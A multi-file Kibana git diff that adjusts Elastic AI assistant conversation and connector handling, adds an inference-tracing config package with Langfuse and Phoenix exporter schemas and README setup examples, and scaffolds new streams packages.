b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_conversation/index.tsx @@ -129,8 +129,8 @@ export const useConversation = (): UseConversation => { const setApiConfig = useCallback( async ({ conversation, apiConfig }: SetApiConfigProps) => { if (conversation.id === '') { - // only developer should ever see this error - throw new Error('Conversation ID is required to set API config'); + // Conversation ID is required to set API config, return empty conversation + return { ...conversation, apiConfig }; } else { return updateConversation({ http, diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_current_conversation/index.test.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_current_conversation/index.test.tsx index 5d17cff23de1f..f31af5e750406 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_current_conversation/index.test.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_current_conversation/index.test.tsx @@ -20,7 +20,7 @@ jest.mock('../use_conversation'); jest.mock('../helpers'); jest.mock('fast-deep-equal'); jest.mock('lodash'); -const defaultConnector: AIConnector = { +const defaultConnectorMock: AIConnector = { actionTypeId: '.gen-ai', isPreconfigured: false, isDeprecated: false, @@ -57,7 +57,7 @@ const mockData = { replacements: {}, }, }; -const setLastConversation = jest.fn(); +const setLastConversationMock = jest.fn(); describe('useCurrentConversation', () => { const mockUseConversation = { createConversation: jest.fn(), @@ -84,7 +84,7 @@ describe('useCurrentConversation', () => { conversations: {}, mayUpdateConversations: true, refetchCurrentUserConversations: jest.fn().mockResolvedValue({ data: mockData }), - setLastConversation, + setLastConversation: setLastConversationMock, spaceId: 'default', }; @@ -108,7 +108,7 @@ describe('useCurrentConversation', () => { it('should initialize with apiConfig if defaultConnector is provided', () => { (useLocalStorage as jest.Mock).mockReturnValue(['456', jest.fn()]); const { result } = setupHook({ - defaultConnector, + defaultConnector: defaultConnectorMock, }); expect(result.current.currentConversation).toEqual({ @@ -118,21 +118,73 @@ describe('useCurrentConversation', () => { replacements: {}, title: '', apiConfig: { - actionTypeId: defaultConnector.actionTypeId, - connectorId: defaultConnector.id, + actionTypeId: defaultConnectorMock.actionTypeId, + connectorId: defaultConnectorMock.id, }, }); expect(result.current.currentSystemPrompt).toBeUndefined(); }); + it('should update apiConfig if defaultConnector goes from undefined to defined', async () => { + (useLocalStorage as jest.Mock).mockReturnValue(['456', jest.fn()]); + const initialProps = { ...defaultProps, defaultConnector: undefined }; + const { result, rerender } = renderHook( + ({ + allSystemPrompts, + lastConversation, + conversations, + mayUpdateConversations, + refetchCurrentUserConversations, + setLastConversation, + spaceId, + defaultConnector, + }: Props) => + useCurrentConversation({ + allSystemPrompts, + lastConversation, + conversations, + mayUpdateConversations, + refetchCurrentUserConversations, + setLastConversation, + spaceId, + defaultConnector, + }), + { initialProps } + ); + expect(result.current.currentConversation).toEqual({ + category: 'assistant', + id: '', + messages: [], + replacements: {}, + title: '', + }); + + // @ts-ignore + rerender({ ...defaultProps, defaultConnector: defaultConnectorMock }); + + await waitFor(async () => { + expect(result.current.currentConversation).toEqual({ + category: 'assistant', + id: '', + messages: [], + replacements: {}, + title: '', + apiConfig: { + actionTypeId: defaultConnectorMock.actionTypeId, + connectorId: defaultConnectorMock.id, + }, + }); + }); + }); + it('should initialize with local storage connectorId if app is security solution and local storage connectorId exists', () => { (useLocalStorage as jest.Mock).mockReturnValue(['456', jest.fn()]); const { result } = setupHook({ currentAppId: 'securitySolutionUI', connectors: [ - defaultConnector, + defaultConnectorMock, { - ...defaultConnector, + ...defaultConnectorMock, id: '456', actionTypeId: '.bedrock', name: 'My Bedrock', @@ -158,9 +210,9 @@ describe('useCurrentConversation', () => { const { result } = setupHook({ currentAppId: 'securitySolutionUI', connectors: [ - defaultConnector, + defaultConnectorMock, { - ...defaultConnector, + ...defaultConnectorMock, id: '456', actionTypeId: '.bedrock', name: 'My Bedrock', diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_current_conversation/index.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_current_conversation/index.tsx index f1cb658269b7e..72d61f7f9a3d1 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_current_conversation/index.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant/use_current_conversation/index.tsx @@ -201,7 +201,13 @@ export const useCurrentConversation = ({ }, [allSystemPrompts, currentConversation?.apiConfig, defaultConnector, setLastConversation] ); - + useEffect(() => { + if (defaultConnector && !currentConversation?.apiConfig && currentConversation?.id === '') { + // first connector created, provide nothing to getNewConversation + // to set new conversation with the defaultConnector + getNewConversation({}); + } + }, [defaultConnector, currentConversation, getNewConversation]); const [localSecuritySolutionAssistantConnectorId] = useLocalStorage( `securitySolution.onboarding.assistantCard.connectorId.${spaceId}` ); diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant_context/types.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant_context/types.tsx index ff4e306844ee3..548e7a82806c3 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant_context/types.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/assistant_context/types.tsx @@ -53,6 +53,7 @@ export interface AssistantTelemetry { isEnabledKnowledgeBase: boolean; }) => void; reportAssistantQuickPrompt: (params: { promptTitle: string }) => void; + reportAssistantStarterPrompt: (params: { promptTitle: string }) => void; reportAssistantSettingToggled: (params: { assistantStreamingEnabled?: boolean; alertsCountUpdated?: boolean; diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/connector_setup/index.test.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/connector_setup/index.test.tsx index b6eaa4578d4a0..7707e05bda768 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/connector_setup/index.test.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/connector_setup/index.test.tsx @@ -82,4 +82,13 @@ describe('ConnectorSetup', () => { expect(setApiConfig).not.toHaveBeenCalled(); }); + + it('should NOT set api config for conversation with empty id when new connector is saved', async () => { + const { getByTestId } = render(, { + wrapper: TestProviders, + }); + + fireEvent.click(getByTestId('modal-mock')); + expect(setApiConfig).not.toHaveBeenCalled(); + }); }); diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/connector_setup/index.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/connector_setup/index.tsx index c7cf9a544899f..3e186f267bab6 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/connector_setup/index.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/connector_setup/index.tsx @@ -45,7 +45,7 @@ export const ConnectorSetup = ({ const onSaveConnector = useCallback( async (connector: ActionConnector) => { - if (updateConversationsOnSaveConnector) { + if (updateConversationsOnSaveConnector && conversation.id !== '') { // this side effect is not required for Attack discovery, because the connector is not used in a conversation const config = getGenAiConfig(connector); // persist only the active conversation @@ -64,12 +64,9 @@ export const ConnectorSetup = ({ onConversationUpdate?.({ cId: updatedConversation.id, }); - - refetchConnectors?.(); } - } else { - refetchConnectors?.(); } + refetchConnectors?.(); }, [ conversation, diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/helpers.test.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/helpers.test.tsx index 0318618a49c2a..320ad15e59a6b 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/helpers.test.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/helpers.test.tsx @@ -9,8 +9,8 @@ import { getGenAiConfig, getActionTypeTitle, getConnectorTypeTitle, - GenAiConfig, OpenAiProviderType, + AiConfigCatchAll, } from './helpers'; import { PRECONFIGURED_CONNECTOR } from './translations'; import { @@ -19,7 +19,7 @@ import { type ActionTypeRegistryContract, } from '@kbn/alerts-ui-shared'; -const mockConnector = (config: GenAiConfig, isPreconfigured = false) => ({ +const mockConnector = (config: AiConfigCatchAll, isPreconfigured = false) => ({ isPreconfigured, config, actionTypeId: 'test-action', @@ -43,6 +43,17 @@ describe('getGenAiConfig', () => { }); }); + test('extracts defaultModel from inference config', () => { + const connector = mockConnector({ + providerConfig: { + model_id: 'rainbow-sprinkles', + }, + }) as ActionConnector; + expect(getGenAiConfig(connector)).toEqual({ + defaultModel: 'rainbow-sprinkles', + }); + }); + test('extracts api-version from Azure API URL', () => { const connector = mockConnector({ apiProvider: OpenAiProviderType.AzureAi, diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/helpers.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/helpers.tsx index 65917d4941a66..89bf2b3bb36c4 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/helpers.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/connectorland/helpers.tsx @@ -28,6 +28,18 @@ export interface GenAiConfig { defaultModel?: string; } +export interface AiConfigCatchAll { + apiProvider?: OpenAiProviderType; + apiUrl?: string; + defaultModel?: string; + // inference fields + providerConfig?: { + model_id?: string; + }; + model_id?: string; + url?: string; +} + /** * Returns the GenAiConfig for a given ActionConnector. Note that if the connector is preconfigured, * the config MAY be undefined if exposeConfig: true is absent @@ -35,15 +47,25 @@ export interface GenAiConfig { * @param connector */ export const getGenAiConfig = (connector: ActionConnector | undefined): GenAiConfig => { - const config = (connector as ActionConnectorProps)?.config; - const { apiProvider, apiUrl, defaultModel } = config ?? {}; - return { + const config = (connector as ActionConnectorProps)?.config; + const { apiProvider, apiUrl, + defaultModel, + providerConfig, + model_id: modelId, + url, + } = config ?? {}; + + return { + apiProvider, + apiUrl: apiUrl ?? url, defaultModel: - apiProvider === OpenAiProviderType.AzureAi + (apiProvider === OpenAiProviderType.AzureAi ? getAzureApiVersionParameter(apiUrl ?? '') - : defaultModel, + : defaultModel) ?? + providerConfig?.model_id ?? + modelId, }; }; diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/knowledge_base/knowledge_base_settings_management/index.tsx b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/knowledge_base/knowledge_base_settings_management/index.tsx index b600d3eb5efeb..ee9ad482cbb3a 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/knowledge_base/knowledge_base_settings_management/index.tsx +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant/impl/knowledge_base/knowledge_base_settings_management/index.tsx @@ -32,6 +32,7 @@ import { css } from '@emotion/react'; import { DataViewsContract } from '@kbn/data-views-plugin/public'; import useAsync from 'react-use/lib/useAsync'; import { useSearchParams } from 'react-router-dom-v5-compat'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { useKnowledgeBaseUpdater } from '../../assistant/settings/use_settings_updater/use_knowledge_base_updater'; import { ProductDocumentationManagement } from '../../assistant/settings/product_documentation'; import { KnowledgeBaseTour } from '../../tour/knowledge_base'; @@ -338,7 +339,10 @@ export const KnowledgeBaseSettingsManagement: React.FC = React.memo(({ d return ( <> - + = schema.object({ + base_url: schema.uri(), + public_key: schema.string(), + secret_key: schema.string(), + scheduled_delay: scheduledDelay, +}); + +const phoenixExportConfigSchema: Type = schema.object({ + base_url: schema.string(), + public_url: schema.maybe(schema.uri()), + project_name: schema.maybe(schema.string()), + api_key: schema.maybe(schema.string()), + scheduled_delay: scheduledDelay, +}); + +export const inferenceTracingExportConfigSchema: Type = schema.oneOf([ + schema.object({ + langfuse: langfuseExportConfigSchema, + }), + schema.object({ + phoenix: phoenixExportConfigSchema, + }), +]); diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing-config/index.ts b/x-pack/platform/packages/shared/kbn-inference-tracing-config/index.ts new file mode 100644 index 0000000000000..f6eb79e7517d8 --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-inference-tracing-config/index.ts @@ -0,0 +1,14 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +export type { + InferenceTracingExportConfig, + InferenceTracingLangfuseExportConfig, + InferenceTracingPhoenixExportConfig, +} from './types'; + +export { inferenceTracingExportConfigSchema } from './config'; diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing-config/jest.config.js b/x-pack/platform/packages/shared/kbn-inference-tracing-config/jest.config.js new file mode 100644 index 0000000000000..8fbdbdc6dcd54 --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-inference-tracing-config/jest.config.js @@ -0,0 +1,12 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +module.exports = { + preset: '@kbn/test/jest_node', + rootDir: '../../../../..', + roots: ['/x-pack/platform/packages/shared/kbn-inference-tracing-config'], +}; diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing-config/kibana.jsonc b/x-pack/platform/packages/shared/kbn-inference-tracing-config/kibana.jsonc new file mode 100644 index 0000000000000..a8805c5792488 --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-inference-tracing-config/kibana.jsonc @@ -0,0 +1,7 @@ +{ + "type": "shared-common", + "id": "@kbn/inference-tracing-config", + "owner": "@elastic/appex-ai-infra", + "group": "platform", + "visibility": "shared" +} diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing-config/package.json b/x-pack/platform/packages/shared/kbn-inference-tracing-config/package.json new file mode 100644 index 0000000000000..cb029f0452987 --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-inference-tracing-config/package.json @@ -0,0 +1,6 @@ +{ + "name": "@kbn/inference-tracing-config", + "private": true, + "version": "1.0.0", + "license": "Elastic License 2.0" +} \ No newline at end of file diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing-config/tsconfig.json b/x-pack/platform/packages/shared/kbn-inference-tracing-config/tsconfig.json new file mode 100644 index 0000000000000..774306f0cf3ca --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-inference-tracing-config/tsconfig.json @@ -0,0 +1,19 @@ +{ + "extends": "../../../../../tsconfig.base.json", + "compilerOptions": { + "outDir": "target/types", + "types": [ + "jest", + "node" + ] + }, + "include": [ + "**/*.ts", + ], + "exclude": [ + "target/**/*" + ], + "kbn_references": [ + "@kbn/config-schema", + ] +} diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing-config/types.ts b/x-pack/platform/packages/shared/kbn-inference-tracing-config/types.ts new file mode 100644 index 0000000000000..181d2d62c3d8a --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-inference-tracing-config/types.ts @@ -0,0 +1,66 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +/** + * Configuration schema for the Langfuse exporter. + */ +export interface InferenceTracingLangfuseExportConfig { + /** + * The URL for Langfuse server and Langfuse UI. + */ + base_url: string; + /** + * The public key for API requests to Langfuse server. + */ + public_key: string; + /** + * The secret key for API requests to Langfuse server. + */ + secret_key: string; + /** + * The delay in milliseconds before the exporter sends another + * batch of spans. + */ + scheduled_delay: number; +} + +/** + * Configuration schema for the Phoenix exporter. + */ +export interface InferenceTracingPhoenixExportConfig { + /** + * The URL for Phoenix server. + */ + base_url: string; + /** + * The URL for Phoenix UI. + */ + public_url?: string; + /** + * The project in which traces are stored. Used for + * generating links to Phoenix UI. + */ + project_name?: string; + /** + * The API key for API requests to Phoenix server. + */ + api_key?: string; + /** + * The delay in milliseconds before the exporter sends another + * batch of spans. + */ + scheduled_delay: number; +} + +/** + * Configuration schema for inference tracing exporters. + * + * @internal + */ +export type InferenceTracingExportConfig = + | { langfuse: InferenceTracingLangfuseExportConfig } + | { phoenix: InferenceTracingPhoenixExportConfig }; diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing/README.md b/x-pack/platform/packages/shared/kbn-inference-tracing/README.md index 7288e6f333081..bc74cdc2c15f9 100644 --- a/x-pack/platform/packages/shared/kbn-inference-tracing/README.md +++ b/x-pack/platform/packages/shared/kbn-inference-tracing/README.md @@ -1,3 +1,76 @@ # @kbn/inference-tracing -Empty package generated by @kbn/generate +Utilities for capturing GenAI / LLM traces in Kibana and exporting them to observability back-ends. Currently supported are Phoenix and Langfuse. + +## 1. Configure an exporter + +Attach one of the provided span processors to your (global) OpenTelemetry `NodeTracerProvider`. + +Commonly, these are configured in `@kbn/tracing`, which will be included by requiring `src/cli/apm.js`. + +### Phoenix + +```ts +import { PhoenixSpanProcessor } from '@kbn/inference-tracing'; + +provider.addSpanProcessor( + new PhoenixSpanProcessor({ + base_url: 'https://api.phoenix.dev', // ingestion endpoint + public_url: 'https://app.phoenix.dev', // optional – used to build UI links + project_name: 'my-project', // optional – defaults to first project + api_key: process.env.PHOENIX_API_KEY, // optional + scheduled_delay: 2_000, + }) +); +``` + +### Langfuse + +```ts +import { NodeTracerProvider } from '@opentelemetry/sdk-trace-node'; +import { LangfuseSpanProcessor } from '@kbn/inference-tracing'; + +const provider = new NodeTracerProvider(); +provider.addSpanProcessor( + new LangfuseSpanProcessor({ + base_url: 'https://app.langfuse.com', // Langfuse UI / server + public_key: process.env.LANGFUSE_PUBLIC_KEY!, // API credentials + secret_key: process.env.LANGFUSE_SECRET_KEY!, + scheduled_delay: 2_000, // flush interval (ms) + }) +); +provider.register(); +``` + +Both processors transform spans into the format understood by the back-end and log a handy “View trace at ...” link when a root span finishes. + +## 2. Instrument your code with helper functions + +The **with...Span** helpers create an active span, run your callback, and automatically: + +- set span status to OK / Error, +- record exceptions, +- wait for Promises or RxJS Observables to settle before ending the span. + +Helper overview: + +| Helper | Typical use-case | +| ----------------------------------- | --------------------------------- | +| `withInferenceSpan(options, cb)` | Generic wrapper for any operation | +| `withChatCompleteSpan(options, cb)` | Chat completion calls | +| `withExecuteToolSpan(options, cb)` | Tool execution calls | + +### Examples + +```ts +// Generic +return withInferenceSpan('getWeather', () => callLLM()); + +// Chat completion +await withChatCompleteSpan( + { system, messages, model }, + () => inferenceClient.chatComplete(...) +); +``` + +All helpers return the value returned by `cb`, so you can simply `return` their result from your own function. diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing/index.ts b/x-pack/platform/packages/shared/kbn-inference-tracing/index.ts index 269554de18c3c..1478c3c7739df 100644 --- a/x-pack/platform/packages/shared/kbn-inference-tracing/index.ts +++ b/x-pack/platform/packages/shared/kbn-inference-tracing/index.ts @@ -7,5 +7,6 @@ export { withChatCompleteSpan } from './src/with_chat_complete_span'; export { withExecuteToolSpan } from './src/with_execute_tool_span'; export { withInferenceSpan } from './src/with_inference_span'; -export { initPhoenixProcessor } from './src/phoenix/init_phoenix_processor'; -export { initLangfuseProcessor } from './src/langfuse/init_langfuse_processor'; + +export { LangfuseSpanProcessor } from './src/langfuse/langfuse_span_processor'; +export { PhoenixSpanProcessor } from './src/phoenix/phoenix_span_processor'; diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing/src/langfuse/init_langfuse_processor.ts b/x-pack/platform/packages/shared/kbn-inference-tracing/src/langfuse/init_langfuse_processor.ts deleted file mode 100644 index 005eef06abc5a..0000000000000 --- a/x-pack/platform/packages/shared/kbn-inference-tracing/src/langfuse/init_langfuse_processor.ts +++ /dev/null @@ -1,22 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ -import { LateBindingSpanProcessor } from '@kbn/tracing'; -import { InferenceTracingLangfuseExportConfig } from '@kbn/inference-common'; -import { Logger } from '@kbn/core/server'; -import { LangfuseSpanProcessor } from './langfuse_span_processor'; - -export function initLangfuseProcessor({ - logger, - config, -}: { - logger: Logger; - config: InferenceTracingLangfuseExportConfig; -}): () => Promise { - const processor = new LangfuseSpanProcessor(logger, config); - - return LateBindingSpanProcessor.register(processor); -} diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing/src/langfuse/langfuse_span_processor.ts b/x-pack/platform/packages/shared/kbn-inference-tracing/src/langfuse/langfuse_span_processor.ts index 3eb7a2b9d7ec6..62efddc3184ae 100644 --- a/x-pack/platform/packages/shared/kbn-inference-tracing/src/langfuse/langfuse_span_processor.ts +++ b/x-pack/platform/packages/shared/kbn-inference-tracing/src/langfuse/langfuse_span_processor.ts @@ -5,20 +5,17 @@ * 2.0. */ -import { Logger } from '@kbn/core/server'; -import { InferenceTracingLangfuseExportConfig } from '@kbn/inference-common'; +import { InferenceTracingLangfuseExportConfig } from '@kbn/inference-tracing-config'; import { OTLPTraceExporter } from '@opentelemetry/exporter-trace-otlp-http'; import { ReadableSpan } from '@opentelemetry/sdk-trace-node'; import { memoize, omit, partition } from 'lodash'; +import { diag } from '@opentelemetry/api'; import { BaseInferenceSpanProcessor } from '../base_inference_span_processor'; import { unflattenAttributes } from '../util/unflatten_attributes'; export class LangfuseSpanProcessor extends BaseInferenceSpanProcessor { private getProjectId: () => Promise; - constructor( - private readonly logger: Logger, - private readonly config: InferenceTracingLangfuseExportConfig - ) { + constructor(private readonly config: InferenceTracingLangfuseExportConfig) { const headers = { Authorization: `Basic ${Buffer.from(`${config.public_key}:${config.secret_key}`).toString( 'base64' @@ -44,7 +41,7 @@ export class LangfuseSpanProcessor extends BaseInferenceSpanProcessor { this.getProjectId = () => { return getProjectIdMemoized().catch((error) => { - logger.error(`Could not get project ID from Langfuse: ${error.message}`); + diag.error(`Could not get project ID from Langfuse: ${error.message}`); getProjectIdMemoized.cache.clear?.(); return undefined; }); @@ -88,7 +85,7 @@ export class LangfuseSpanProcessor extends BaseInferenceSpanProcessor { `/project/${projectId}/traces/${langfuseTraceId}`, new URL(this.config.base_url) ); - this.logger.info(`View trace at ${url.toString()}`); + diag.info(`View trace at ${url.toString()}`); }); } diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing/src/phoenix/init_phoenix_processor.ts b/x-pack/platform/packages/shared/kbn-inference-tracing/src/phoenix/init_phoenix_processor.ts deleted file mode 100644 index 5a06d14496352..0000000000000 --- a/x-pack/platform/packages/shared/kbn-inference-tracing/src/phoenix/init_phoenix_processor.ts +++ /dev/null @@ -1,22 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ -import { LateBindingSpanProcessor } from '@kbn/tracing'; -import { InferenceTracingPhoenixExportConfig } from '@kbn/inference-common'; -import { Logger } from '@kbn/core/server'; -import { PhoenixSpanProcessor } from './phoenix_span_processor'; - -export function initPhoenixProcessor({ - logger, - config, -}: { - logger: Logger; - config: InferenceTracingPhoenixExportConfig; -}): () => Promise { - const processor = new PhoenixSpanProcessor(logger, config); - - return LateBindingSpanProcessor.register(processor); -} diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing/src/phoenix/phoenix_span_processor.ts b/x-pack/platform/packages/shared/kbn-inference-tracing/src/phoenix/phoenix_span_processor.ts index 98fa60e0d92df..58c2d627bcb17 100644 --- a/x-pack/platform/packages/shared/kbn-inference-tracing/src/phoenix/phoenix_span_processor.ts +++ b/x-pack/platform/packages/shared/kbn-inference-tracing/src/phoenix/phoenix_span_processor.ts @@ -5,14 +5,14 @@ * 2.0. */ -import { Logger } from '@kbn/core/server'; -import { InferenceTracingPhoenixExportConfig } from '@kbn/inference-common'; +import { InferenceTracingPhoenixExportConfig } from '@kbn/inference-tracing-config'; import { ReadableSpan } from '@opentelemetry/sdk-trace-node'; import { memoize } from 'lodash'; import { SEMRESATTRS_PROJECT_NAME, SemanticConventions, } from '@arizeai/openinference-semantic-conventions'; +import { diag } from '@opentelemetry/api'; import { BaseInferenceSpanProcessor } from '../base_inference_span_processor'; import { ElasticGenAIAttributes, GenAISemanticConventions } from '../types'; import { getChatSpan } from './get_chat_span'; @@ -21,10 +21,7 @@ import { PhoenixProtoExporter } from './phoenix_otlp_exporter'; export class PhoenixSpanProcessor extends BaseInferenceSpanProcessor { private getProjectId: () => Promise; - constructor( - private readonly logger: Logger, - private readonly config: InferenceTracingPhoenixExportConfig - ) { + constructor(private readonly config: InferenceTracingPhoenixExportConfig) { const headers = { ...(config.api_key ? { Authorization: `Bearer ${config.api_key}` } : {}), }; @@ -57,7 +54,7 @@ export class PhoenixSpanProcessor extends BaseInferenceSpanProcessor { this.getProjectId = () => { return getProjectIdMemoized().catch((error) => { - logger.error(`Could not get project ID from Phoenix: ${error.message}`); + diag.error(`Could not get project ID from Phoenix: ${error.message}`); getProjectIdMemoized.cache.clear?.(); return undefined; }); @@ -87,7 +84,7 @@ export class PhoenixSpanProcessor extends BaseInferenceSpanProcessor { `/projects/${projectId}/traces/${traceId}?selected`, new URL(this.config.public_url) ); - this.logger.info(`View trace at ${url.toString()}`); + diag.info(`View trace at ${url.toString()}`); }); } return span; diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing/src/with_chat_complete_span.ts b/x-pack/platform/packages/shared/kbn-inference-tracing/src/with_chat_complete_span.ts index 3a83c1304e306..3534c717706de 100644 --- a/x-pack/platform/packages/shared/kbn-inference-tracing/src/with_chat_complete_span.ts +++ b/x-pack/platform/packages/shared/kbn-inference-tracing/src/with_chat_complete_span.ts @@ -47,7 +47,10 @@ function addEvent(span: Span, event: MessageEvent) { }); } -function setChoice(span: Span, { content, toolCalls }: { content: string; toolCalls: ToolCall[] }) { +export function setChoice( + span: Span, + { content, toolCalls }: { content: string; toolCalls: ToolCall[] } +) { addEvent(span, { name: GenAISemanticConventions.GenAIChoice, body: { diff --git a/x-pack/platform/packages/shared/kbn-inference-tracing/tsconfig.json b/x-pack/platform/packages/shared/kbn-inference-tracing/tsconfig.json index 32b24c92826f1..50b7627879c9d 100644 --- a/x-pack/platform/packages/shared/kbn-inference-tracing/tsconfig.json +++ b/x-pack/platform/packages/shared/kbn-inference-tracing/tsconfig.json @@ -14,9 +14,8 @@ "target/**/*" ], "kbn_references": [ - "@kbn/tracing", + "@kbn/inference-tracing-config", "@kbn/inference-common", - "@kbn/core", "@kbn/safer-lodash-set", "@kbn/std", ] diff --git a/x-pack/platform/packages/shared/kbn-search-index-documents/components/result/editable_result.tsx b/x-pack/platform/packages/shared/kbn-search-index-documents/components/result/editable_result.tsx index 6e2279d02aa86..32fe4aaa171c9 100644 --- a/x-pack/platform/packages/shared/kbn-search-index-documents/components/result/editable_result.tsx +++ b/x-pack/platform/packages/shared/kbn-search-index-documents/components/result/editable_result.tsx @@ -63,7 +63,7 @@ export const EditableResult: React.FC = ({ {leftSideItem && {leftSideItem}} - + = ({ /> {hasIndexSelector && ( - + `${DEFAULT_ALERTS_INDEX}-${spaceId}`; +module.exports = { + preset: '@kbn/test', + rootDir: '../../../../..', + roots: ['/x-pack/platform/packages/shared/kbn-streamlang'], +}; diff --git a/x-pack/platform/packages/shared/kbn-streamlang/kibana.jsonc b/x-pack/platform/packages/shared/kbn-streamlang/kibana.jsonc new file mode 100644 index 0000000000000..62dafb1071793 --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-streamlang/kibana.jsonc @@ -0,0 +1,7 @@ +{ + "type": "shared-common", + "id": "@kbn/streamlang", + "owner": "@elastic/streams-program-team", + "group": "platform", + "visibility": "shared" +} diff --git a/x-pack/platform/packages/shared/kbn-streamlang/package.json b/x-pack/platform/packages/shared/kbn-streamlang/package.json new file mode 100644 index 0000000000000..5bb3d5151b442 --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-streamlang/package.json @@ -0,0 +1,7 @@ +{ + "name": "@kbn/streamlang", + "description": "A processing DSL for Streams", + "private": true, + "version": "1.0.0", + "license": "Elastic License 2.0" +} \ No newline at end of file diff --git a/x-pack/platform/packages/shared/kbn-streamlang/tsconfig.json b/x-pack/platform/packages/shared/kbn-streamlang/tsconfig.json new file mode 100644 index 0000000000000..7aba1b1a9378a --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-streamlang/tsconfig.json @@ -0,0 +1,17 @@ +{ + "extends": "../../../../../tsconfig.base.json", + "compilerOptions": { + "outDir": "target/types", + "types": [ + "jest", + "node" + ] + }, + "include": [ + "**/*.ts", + ], + "exclude": [ + "target/**/*" + ], + "kbn_references": [] +} diff --git a/x-pack/platform/packages/shared/kbn-streams-schema/index.ts b/x-pack/platform/packages/shared/kbn-streams-schema/index.ts index 92de6ada75b80..2959aa7d08678 100644 --- a/x-pack/platform/packages/shared/kbn-streams-schema/index.ts +++ b/x-pack/platform/packages/shared/kbn-streams-schema/index.ts @@ -49,6 +49,8 @@ export { type RoutingDefinition, routingDefinitionListSchema } from './src/model export { type ContentPack, contentPackSchema } from './src/content'; export { isRootStreamDefinition } from './src/helpers/is_root'; +export { getIndexPatternsForStream } from './src/helpers/hierarchy_helpers'; + export { keepFields, namespacePrefixes, @@ -91,7 +93,13 @@ export { export { getConditionFields } from './src/helpers/get_condition_fields'; -export { type StreamQuery, upsertStreamQueryRequestSchema, streamQuerySchema } from './src/queries'; +export { + type StreamQuery, + type StreamQueryKql, + upsertStreamQueryRequestSchema, + streamQueryKqlSchema, + streamQuerySchema, +} from './src/queries'; export { findInheritedLifecycle, findInheritingStreams } from './src/helpers/lifecycle'; @@ -103,6 +111,9 @@ export { type IlmPolicyHotPhase, type IlmPolicyDeletePhase, type IngestStreamLifecycleILM, + type IngestStreamLifecycleDSL, + type IngestStreamLifecycleDisabled, + type 